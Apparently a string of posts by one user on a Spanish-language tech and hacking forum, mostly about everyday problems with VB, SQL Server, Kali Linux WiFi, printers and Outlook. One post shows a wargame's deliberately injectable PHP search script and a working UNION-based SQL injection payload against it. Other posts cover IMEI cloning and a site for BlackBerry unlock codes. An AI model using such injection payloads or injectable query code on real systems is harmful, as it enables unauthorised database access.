PD: Es necesario que se instale en un sistema de x86
#28
Tengo este simple código sólo que ahora me la paso más en C# y no recuerdo bien como es en VB.

Tengo una función donde realizo una petición a la base de datos en SQL Server, esta ahi excelente. Pero necesito que desde esa misma función lo cargue a un ListBox, tengo lo siguiente:

Código (vb, 4) [Seleccionar]
Public Sub LoadHours(txtFecha As String, txtTarjeta As String, ByRef Lsb As ListBox)
' [SNIP]
       Do While Not Rs.EOF And Not Rs.BOF
           Lsb.AddItem Rs.Fields(0).Value
            ' Sí lo muestro en un MsgBox se ve correctamente los datos de la DB
           Rs.MoveNext
       Loop
' [SNIP]
End Sub


Se supone que al pasarlo como ByRef me tomaría el objecto del formulario e ingresaría los valores de la función dentro del ListBox.

Código (vb) [Seleccionar]
Call LoadHours(Me.txtFecha.Text, Me.txtTarjeta.Text, Me.lsbHoras)

El caso es que me dice: No coinciden los tipos.
#29
Foro Libre / Que onda eso del nicequest?
28 Mayo 2015, 23:27 PM
Quisiera saber si es posible ganar dinero con ello? Necesito comprar algunas cositas... y por si acaso alguien me puede enviar una invitación  :silbar: lo querre hasta el fin del mundo
#30
Buenas noches, pues resulta que encontre una vulnerabilidad a nivel web en la que se compromete un servidor en toda su totalidad. Envie un mensaje y me respondieron que les interesaba saber como solucionarlo y que cuanto valdría la asesoria.

En realidad no se cuanto valor corresponde algo asi, ud cuanto cobrarían? Se podría calcular en dolares, yo ya haría la conversión a pesos colombianos.
#31
Tengo un equipo de sonido que tiene soporte para usb y conecto mi usb me salta las carpetas, tengo mas de 10 carpetas y solo me muestra 4,

Hice pruebas y pense que era el numero de la canción, pero solo me muestra 999 y tengo mas de 2000 archivos.

Antes me mostraban todas las canciones por orden de carpeta, pero formatee la memoria para meter otras canciones y ahora no logro saber que pasa, alguna idea?
#32
Wireless en Linux / De BackTrack a Kali
29 Abril 2015, 16:38 PM
Siempre instalando BT normalmente me instalaba los drivers de la WiFi, pero ahora que ya es Kali no tengo ni idea de como hacer para que la WiFi este habilitada. Sólo tengo eth0 y lo, cuando antes me aparecia wlan0.

Lo que he consultado y he visto, es que se usa una WiFi por USB, pero no podría usar la integrada de mi portatil? (como normalmente la use en BT)

El comando lsusb me tira:
Código (bash) [Seleccionar]
root@kali:~# lsusb
Bus 001 Device 004: ID 0e0f:0008 VMware, Inc.
Bus 001 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 001 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 001 Device 001: ID 1d6b:0008 Linux Fundation 1.1 root hub
#33
Nivel Web / Duda con reto de iSQL
6 Marzo 2015, 16:49 PM
Andaba resolviendo algunos wargames, y me encontre con este! Se trata de encontrar la versión del MySQL. El script es esté:

NOTA: La parte comentareada es parte del script original la cambie para montarlo en mi localhost
Código (php) [Seleccionar]
   if ( !empty( $_GET['buscar'] ) ){
       $buscar = (string) stripslashes( $_GET['buscar'] );
       
       if ( 40 < strlen($buscar) )
           die('Hacker!');
       
       $palabras = explode( ' ', $buscar );
       if ( 3 < count($palabras) )
           die('No se permiten mas de 3 palabras en la busqueda.');
       
       #$consulta = 'SELECT * FROM diccionario WHERE';
       $consulta = 'SELECT * FROM tbl WHERE';
       foreach( (array) $palabras as $palabra )
           $consulta .= " nombre LIKE '%{$palabra}%' OR";
           #$consulta .= " yrClaves LIKE '%{$palabra}%' OR";
           
       $consulta = substr( $consulta, 0, -3 );
       $consulta .= " LIMIT 1;";
   }else{
       $consulta = 'SELECT * FROM tbl LIMIT ' . mt_rand( 0, 5 ) . ',1;';
   }
   
   # Esto es para mi localhost
   $cnn = mysql_connect("127.0.0.1", "root", "");
   $db = mysql_select_db("PoC");
   $query = mysql_query($consulta);
   if( $query !== false ){
       $data = mysql_fetch_array($query);
   }


El tema es que en mi localhost logro obtener la versión del MySQL, pero en el wargame no! De la siguiente manera,
Código (php) [Seleccionar]
5'%09union%09select%09@@version,2%09%23
Para que la query quede de la siguiente manera,
Código (sql) [Seleccionar]
SELECT * FROM tbl WHERE nombre LIKE '%5' union select @@version,2 #%' LIMIT 1;
En mi caso el resultado es: 5.6.21

El reto original esta online, es -> aHR0cDovL3d3dy55YXNoaXJhLm9yZy9SZVRvcy9BbGwvMTY3L2RpY2Npb25hcmlvLnBocD9idXNjYXI9aXNxbA==
#34
Tengo una tabla que guarda tiempos, por ejemplo: 07:50, 08:23. Lo tengo de tipo VARCHAR(5), necesito realizar una sumatoria que al final quede así:

Código (php) [Seleccionar]
07:50 # A1
08:23 # A2
--------------------
16:13 # =SUMA(A1:A2)


Esto lo hice en excel, y el resultado es 16:13, necesito hacerlo en MSSQL, hay alguna forma de lograrlo ya que con SUM no funciona?

---- EDIT -----
Por ahora tengo lo siguiente,
Código (sql) [Seleccionar]
CAST(DATEADD(MS, SUM(DATEDIFF(MS, '00:00:00', CONVERT(time, Entrada))), '00:00:00') AS time)

Pero como el resultado es mayor a 24, me da valores diferentes. En excel pasa lo mismo pero lo modifico el formato a [h]:mm

--- EDIT ------
Ahora lo tengo,
Código (sql) [Seleccionar]
CAST(SUM(DATEDIFF(SECOND, 0, Entrada))/3600 AS VARCHAR(12)) + ':' + RIGHT('0' + CAST(SUM(DATEDIFF(SECOND,0,Entrada))/60%60 AS VARCHAR(2)),2) + ':' + RIGHT('0' + CAST(SUM(DATEDIFF(SECOND, 0, Entrada))%60 AS VARCHAR(2)), 2)
#35
GNU/Linux / [PREGUNTA] Kali sin wlan0
16 Febrero 2015, 14:07 PM
Queriendo instalar BTR3, cuando veo que ahora es KALI, pero el problema es que no me coge la wlan0 (cuanto estaba en BT sí). Necesito instalar un driver? No se porque esta distro es tan complicada!
#36
Buenas, ando con un problemon!

Hay un software que esta bajo XP y no funciona en los demás sistemas operativos, necesito que varios usuarios ingresen en multisesión al equipo de XP, pero no se si afecte el licencimiento de microsoft (trabajo en una empresa y puede traer problemas legales).

En caso de que no se pueda, alguna idea para trabajar sobre el equipo de xp con varios usuarios?
#37
Software / Reinicio constante de Outlook
3 Febrero 2015, 19:56 PM
Tengo un gran problema con Outlook 2010 ya que constantemente al dia se reinicia mas de 10 veces, con reinicio me refiero a que sale un mensaje que dice que ha ocurrido un errror y necesita reiniciarse, este problema sigue y sigue despues de reinstalar la suite, alguna solución?
#38
Redes / [Problema] Compartir impresora en red
19 Diciembre 2014, 21:32 PM
Tengo una impresora compartida en red desde un equipo con Win7, y desde todos los equipos puedo conectarme (Win7, Win8) normalmente así:
Código (dos) [Seleccionar]
NET USE LPT1: \\EQUIPO\LX350 /PERSISTENT:YES

El comando se ejecuta directa y correctamente, pero ahora entro en el problema (sólo sucede con ese equipo WinXP), ejecuto el comando y me muestra:
Código (dos) [Seleccionar]
C:\Users\PCSoporte> NET USE LPT1: \\EQUIPO\LX350 /PERSISTENT:YES
La contaseña no es válida para \\EQUIPO\LX350

Escribo el nombre de usuario para EQUIPO:

Esto sucede sí y sólo sí lo ejecuto sin permisos de administrador

Que puede sucedes? Porque sólo en ese equipo?
#39
EL PELIGRO DE PUBLICAR EL IMEI EN INTERNET

Este tema me lo envio el mero mero (@el-brujo) y habla sobre el peligro que se corre al publicar el IMEI en internet. Cabe destacar que el IMEI es algo muy personal ya que es un valor único que tiene cada dispositivo movil. Más información



Esto es importante saberlo ya que aquí nadie es obligado a publicar su IMEI y no tenemos ni la más minima responsabilidad si ocurre este caso, aquí sólo se presta un servicio (sin animo de lucro) para ayudarles a abrir la conexión a otros operadores.



1. CLONAR TU TELEFONO MOVIL (Extraido de carluys)

         Un teléfono celular clonado es un aparato que fue reprogramado para transmitir el código del aparato y el código de un abonado habilitado. Así, el defraudador usa el aparato clonado para hacer las llamadas telefónicas y las mismas son debitadas en la cuenta del titular de la línea.

AMPLIANDO LA INFORMACIÓN (Extraido de clangsm)
         Si los 2 tienen el mismo IMEI, funcionara perfectamente!! SIEMPRE y CUANDO no se denuncie ese imei! si se denuncia ese imei, los 2 telefonos caen.

INDICIOS (Extraido de carluys)

  • Dificultades para completar llamadas generadas
  • Caídas frecuentes de conexión
  • Dificultades para llamar su buzón de mensajes
  • Llamadas recibidas de números desconocidos, nacional e internacional
  • Importes por prestación de servicios muy superiores a la media

2. DENUNCIAR TU TELEFONO MOVIL Y BLOQUEARLO (Extraido de carluys)

         Con tu código IMEI realizan una denuncia con el mismo y el modelo en comisaria y lo bloquean, No obstante simplemente pueden acceder a Movistar(Robo de equipos), realizar un reporte y facilmente tu telefono puede quedar inhabilitado por hacer hacer tu IMEI publico.

MI HISTORIA

         Tuve algún dia (hace mucho tiempo jajajaja) un movil nokia de esos que tenian pantalla en blanco y negro pixelada, un día dejo de funcionar ya que no me entraban llamadas, un familiar llamo directamente a mi casa a decirme que mi celular estaba bloqueado. Llame de inmediato a atención al cliente y me dijeron que habia llamado antes alguien a decir que ese equipo lo habian robado, pero en ese tiempo el bloqueo era por simcard, después de un largo tiempo en el que me pedian datos personales (tenian que coincidir con la planilla de registro de compra del celular) me desbloquearon el equipo, (por cierto creo que aun lo tengo guardado en mi habitación ajjajaja).

Creería que llevando la factura de compra del dispositivo deberían de desbloquarlo ya que estás validando que eres el principal propietario del equipo.

[MOD] Modificado color, para hacerlo más legible.
[MOD] En el theme que tengo, se veia super hack ajjajajaja
#40
Sé eliminar la protección de una hoja, que se realiza con una macro en vbs Pero el cifrado no tengo idea. Lei en google de una tool llamada: DocRecrypt pero pide certificados y blah blah blah.

Alguien sabe como?
#41
Que clase de conexión y ejecución de querys usais para tus proyectos en C#? Algo al estilo CodeIgniter!
#42
Pues dado que muchos usuarios realizan la petición del servicio para unlockear blackberry, -muchos de estos me enviar mensajes privados y me tienen lleno el buzon  :silbar:-, les voy a regalar algo para la navidad ajjajaa

Sencillamente dar el código de liberación es un tema bastante trillado y aprovechando tambien que algun user por ahi recuerdo que una vez me comento que estaba cobrando por entregar este código, pués aqui lo tiene gratis, free, regalado, y demás sinonimos...

Lo pueden hacer ustedes mismos sin necesitadad de ninguna aplicación, -bueno sólo si saben como realizar los pasos para encontrar el IMEI y/o MEP-, simplemente ingresan a la siguiente URL bbs.x-mobila.ru

Encontrarán las siguientes opciones,


Ingresan el imei, -recuerden que son 15 digitos-, buscan el MEP dentro de la lista desplegable (Si no se encuentra es porque quizás tenga seguridad nueva y aun no esta dentro de la calculadora)


Clickeamos en el botón Get Free MEP Codes y nos aparecerá la siguiente información,


Ingresamos el MEP2 y veráis que funciona correctamente, -a menos de que ya hayas acabado con el número de intentos, para este si necesitarás una box para liberarlo directamente-

El post donde se realizaban las peticiones quedará sólo para los que no encuentren el MEP2 en esta web, pero ya serán muy pocos.

Atentamente Shell Root Noel!  >:D
#43
GNU/Linux / Configuraciòn de teclado Ubuntu 14
23 Noviembre 2014, 02:28 AM
No se porque carajos no me coje la tecla [alt gr], he consultado en google y por mas que intento no puedo lograr que funcione, alguna idea?

Por cierto tengo Ubuntu 14.04.1, y configuración de teclado con --> Español (Latinoamericano)

Puede ser algo simple, pero ni en win2 puedo ajjajaja
#44
Hardware / 2267 pram usb device
24 Octubre 2014, 17:47 PM
No se que le paso a mi usb (Kingston - DataTraveler 8GB - G3), necesito recuperar la información y esto es lo que me sale en el administrador de dispositivos

2267 pram usb device

Alguna idea?
#45
Electrónica / Pulsador por x milisegundo
29 Septiembre 2014, 15:45 PM
Tengo la idea, pero no se que componentes usar... Basicamente necesito lo siguiente,

Necesito un pulsador que presione un boton, y que lo suelte en x tiempo (milisegundos) que sea modificable

El temporizador sería al estilo pero necesito algo más simple y de menos tamaño